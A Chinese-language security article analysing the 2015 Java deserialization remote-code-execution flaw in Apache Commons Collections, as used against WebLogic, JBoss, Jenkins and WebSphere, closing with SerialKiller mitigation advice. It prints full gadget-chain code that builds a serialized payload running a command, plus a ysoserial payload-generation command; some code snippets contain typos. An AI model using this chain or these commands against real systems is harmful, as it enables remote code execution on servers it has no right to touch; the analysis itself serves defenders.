Lib之过？Java反序列化漏洞通用利用分析
1 背景
2 Java反序列化漏洞简介
3 利用Apache Commons Collections实现远程代码执行
4 漏洞利用实例
4.1 利用过程概述
4.2 WebLogic
4.3 Jenkins
4.4 Jboss
4.5 WebSphere
4.6 其它
5 漏洞影响
6 修复建议
7 参考资料
1 背景
2015年11月6日，FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞，来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用，实现远程代码执行。
然而事实上，博客作者并不是漏洞发现者。博客中提到，早在2015年的1月28号，Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了一个报告[5]，报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行，当时并没有引起太大的关注，但是在博主看来，这是2015年最被低估的漏洞。
确实，Apache Commons Collections这样的基础库非常多的Java应用都在用，一旦编程人员误用了反序列化这一机制，使得用户输入可以直接被反序列化，就能导致任意代码执行，这是一个极其严重的问题，博客中提到的WebLogic等存在此问题的应用可能只是冰山一角。
虽然从@gebl和@frohoff的报告到现在已经过去了将近一年，但是@breenmachine的博客中提到的厂商也依然没有修复，而且国内的技术人员对这个问题的关注依然较少。为了帮助大家更好的理解它，尽快避免和修复这些问题，本文对此做了一个深入的漏洞原理和利用分析，最后对上面提到的这些受影响的应用，在全球范围内做一个大概的统计。
2 Java反序列化漏洞简介
序列化就是把对象转换成字节流，便于保存在内存、文件、数据库中；反序列化即逆过程，由字节流还原成对象。Java中的ObjectOutputStream类的writeObject()方法可以实现序列化，类ObjectInputStream类的readObject()方法用于反序列化。下面是将字符串对象先进行序列化，存储到本地文件，然后再通过反序列化进行恢复的样例代码：
public static void main(String args[]) throws Exception {
String obj = "hello world!"; // 将序列化对象写入文件object.db中
FileOutputStream fos = new FileOutputStream("object.db");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close(); // 从文件object.db中读取数据
FileInputStream fis = new FileInputStream("object.db");
ObjectInputStream ois = new ObjectInputStream(fis); // 通过反序列化恢复对象obj
String obj2 = (String)ois.readObject();
ois.close();
}
问题在于，如果Java应用对用户输入，即不可信数据做了反序列化处理，那么攻击者可以通过构造恶意输入，让反序列化产生非预期的对象，非预期的对象在产生过程中就有可能带来任意代码执行。
所以这个问题的根源在于类ObjectInputStream在反序列化时，没有对生成的对象的类型做限制；假若反序列化可以设置Java类型的白名单，那么问题的影响就小了很多。
反序列化问题由来已久，且并非Java语言特有，在其他语言例如PHP和Python中也有相似的问题。@gebl和@frohoff的报告中所指出的并不是反序列化这个问题，而是一些公用库，例如Apache Commons Collections中实现的一些类可以被反序列化用来实现任意代码执行。WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些应用的反序列化漏洞能够得以利用，就是依靠了Apache Commons Collections。这种库的存在极大地提升了反序列化问题的严重程度，可以比作在开启了ASLR地址随机化防御的系统中，出现了一个加载地址固定的共享库，或者类似twitter上的评论中的比喻：
@breenmachine的博客中将漏洞归咎于Apache Commons Collections这个库，存在一定的误解。
3 利用Apache Commons Collections实现远程代码执行
参考Matthias Kaiser在11月份的报告[1]，我们以Apache Commons Collections 3为例，来解释如何构造对象，能够让程序在反序列化，即调用readObject()时，就能直接实现任意代码执行。
Map类是存储键值对的数据结构，Apache Commons Collections中实现了类TransformedMap，用来对Map进行某种变换，只要调用decorate()函数，传入key和value的变换函数Transformer，即可从任意Map对象生成相应的TransformedMap，decorate()函数如下：
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
Transformer是一个接口，其中定义的transform()函数用来将一个对象转换成另一个对象。如下所示：
public interface Transformer {
public Object transform(Object input);
}
当Map中的任意项的Key或者Value被修改，相应的Transformer就会被调用。除此以外，多个Transformer还能串起来，形成ChainedTransformer。
Apache Commons Collections中已经实现了一些常见的Transformer，其中有一个可以通过调用Java的反射机制来调用任意函数，叫做InvokerTransformer，代码如下：
public class InvokerTransformer implements Transformer, Serializable {
...
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
只需要传入方法名、参数类型和参数，即可调用任意函数。因此要想任意代码执行，我们可以首先构造一个Map和一个能够执行代码的ChainedTransformer，以此生成一个TransformedMap，然后想办法去触发Map中的MapEntry产生修改（例如setValue()函数），即可触发我们构造的Transformer。
测试代码如下：
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new hashMap();
innerMap.put("value", "value");
map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
当上面的代码运行到setValue()时，就会触发ChainedTransformer中的一系列变换函数：首先通过ConstantTransformer获得Runtime类，进一步通过反射调用getMethod找到invoke函数，最后再运行命令calc.exe。
但是目前的构造还需要依赖于触发Map中某一项去调用setValue()，我们需要想办法通过readObject()直接触发。
我们观察到java运行库中有这样一个类AnnotationInvocationHandler，这个类有一个成员变量memberValues是Map类型，如下所示：
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
...
更令人惊喜的是，AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数，如下所示：
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
// 此处触发一些列的Transformer
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
因此，我们只需要使用前面构造的Map来构造AnnotationInvocationHandler，进行序列化，当触发readObject()反序列化的时候，就能实现命令执行。另外需要注意的是，想要在调用未包含的package中的构造函数，我们必须通过反射的方式，综合生成任意代码执行的payload的代码如下：
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new hashMap();
innerMap.put("value", "value");
map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
File f = new File("payload.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
以上解释了如何通过Apache Commons Collections 3这个库中的代码，来构造序列化对象，使得程序在反序列化时可以立即实现任意代码执行。
我们可以直接使用工具ysoserial[2][5]来生成payload，当中包含了4种通用的payload：Apache Commons Collections 3和4，Groovy，Spring，只要目标应用的Class Path中包含这些库，ysoserial生成的payload即可让readObject()实现任意命令执行。
ysoserial当中针对Apache Commons Collections 3的payload也是基于TransformedMap和InvokerTransformer来构造的，而在触发时，并没有采用上文介绍的AnnotationInvocationHandler，而是使用了java.lang.reflect.Proxy中的相关代码来实现触发。此处不再做深入分析，有兴趣的读者可以参考ysoserial的源码。
4 漏洞利用实例
4.1 利用过程概述
首先拿到一个Java应用，需要找到一个接受外部输入的序列化对象的接收点，即反序列化漏洞的触发点。我们可以通过审计源码中对反序列化函数的调用（例如readObject()）来寻找，也可以直接通过对应用交互流量进行抓包，查看流量中是否包含java序列化数据来判断，java序列化数据的特征为以标记（ac ed 00 05）开头。
确定了反序列化输入点后，再考察应用的Class Path中是否包含Apache Commons Collections库（ysoserial所支持的其他库亦可），如果是，就可以使用ysoserial来生成反序列化的payload，指定库名和想要执行的命令即可：
java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections1 'id >> /tmp/redrain' > payload.out
通过先前找到的传入对象方式进行对象注入，数据中载入payload，触发受影响应用中ObjectInputStream的反序列化操作，随后通过反射调用Runtime.getRunTime.exec即可完成利用。
6 修复建议
因为受影响的多家厂商在今年1月拿到POC至今都没有对该问题做任何修复，所以短期内并不会有官方补丁放出，如果很重视这个安全问题并且想要有一个临时的解决方案可以参考NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁SerialKiller。
下载这个jar后放置于classpath，将应用代码中的java.io.ObjectInputStream替换为SerialKiller，之后配置让其能够允许或禁用一些存在问题的类，SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性，控制了外部输入反序列化后的可信类型。
lib地址:https://github.com/ikkisoft/SerialKiller
7 参考资料
Matthias Kaiser - Exploiting Deserialization Vulnerabilities in Java.
https://github.com/frohoff/ysoserial
foxglovesecurity analysis
github JavaUnserializeExploits
appseccali-2015-marshalling-pickles
利用实例：
参见源博客：http://blog.chaitin.com/2015-11-11_java_unserialize_rce/
感谢原作者的分享